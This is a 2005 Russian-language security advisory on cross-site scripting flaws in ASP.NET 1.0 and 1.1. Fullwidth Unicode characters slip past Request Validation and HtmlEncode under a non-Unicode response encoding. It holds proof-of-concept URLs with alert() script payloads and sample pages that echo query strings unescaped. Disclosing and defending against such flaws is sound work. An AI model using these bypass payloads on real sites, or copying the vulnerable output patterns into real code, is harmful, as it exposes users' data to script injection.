Security Lab

Межсайтовый скриптинг в ASP.NET

Дата публикации:22.02.2005
Всего просмотров:1570
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: .Net Framework, version 1.0; .Net Framework, version 1.0 SP1; .Net Framework, version 1.0 SP2; .Net Framework, version 1.1; .Net Framework, version 1.1 SP1; .Net Framework, version 1.1 SP1 MS05-004

Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к важным данным пользователей.

Уязвимость существует из-за отсутствия фильтрации некоторых ASCII символов в различных кодировках после преобразования их в Unicode. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы, если кодировка по умолчанию web-сервера отличная от Unicode. Пример:

http://server.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e

<!-- Web page attack1.aspx -->
< % @Page Language="cs" %>
< %
Response.Write(Request.QueryString["test"]); // Attack through URL parameter
%>
Web.config:
< configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>

Уязвимость в механизме "Request Validation", предназначенном для защиты от XSS атак и SQL-инъекций, позволяет злоумышленнику произвести XSS нападение, используя Unicode. Пример:

http://server.com/attack2.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e

<% @Page Language="cs" validateRequest="true" %>
<%
Response.Write(Request.QueryString["test"]); // Attack through URL parameter
%>

Web.config:
<configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>

Отсутствие фильтрации в HttpServerUtility.HtmlEncode утилите позволяет удаленному пользователю произвести XSS нападение. Пример:

http://server.com/attack3.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e

<!-- Web page attack3.aspx -->
< % @Page Language="cs" %>
< %
Response.Write(Server.HtmlEncode(Request.QueryString["test"])); // 1) Attack through URL parameter
string code = Server.HtmlEncode("\xff1cscript\xff1ealert('vulnerability')\xff1c/script\xff1e"); // 2) Attack through injected Unicode characters
Response.Write(code);
%>
Web.config:
< configuration>
<system.web>
<globalization responseEncoding="windows-1251" />
</system.web>
< /configuration>

URL производителя: http://microsoft.com

Решение: Используйте в качестве кодировки по умолчанию utf-8.

Ссылки: XSS vulnerability in ASP.Net